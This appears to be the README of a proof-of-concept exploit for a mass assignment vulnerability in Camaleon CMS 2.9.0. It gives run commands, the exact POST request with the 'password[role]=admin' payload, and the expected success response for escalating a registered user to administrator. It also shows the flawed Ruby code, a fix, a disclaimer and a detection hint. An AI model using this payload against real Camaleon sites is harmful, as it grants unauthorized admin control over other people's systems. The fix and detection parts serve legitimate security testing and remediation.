
This Python script exploits a critical mass assignment vulnerability in Camaleon CMS version 2.9.0, allowing any registered user to escalate their privileges to administrator.
This Python script exploits a critical mass assignment vulnerability in Camaleon CMS version 2.9.0, allowing any registered user to escalate their privileges to administrator.
permit! method in the updated_ajax action allows all parameters to pass through without filtering, including the role parameter/admin/users/[id]/updated_ajax with a malicious payload: (In the script I used id 5 as this is usually the one assigned automatically. It might need to be changed.)
password[role]=admin - This parameter should be filtered, but isn't due to permit!password[password] and password[password_confirmation] - Updates the user's password (When a regular user with a client role updates their profile, it is technically user[role]=client, but because we are exploiting here the vulnerability resulting from the change password functionality, it will be password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Set a new password during exploitation (defaults to current password)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
The vulnerability exists in the UsersController updated_ajax method:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Replace the vulnerable permit! method with explicit parameter filtering:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
This script is for educational and authorised security testing purposes only. Please don't use this exploit on systems you do not own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this tool.
Security teams can detect exploitation attempts by monitoring for:
/admin/users/[id]/updated_ajax with password[role] parameter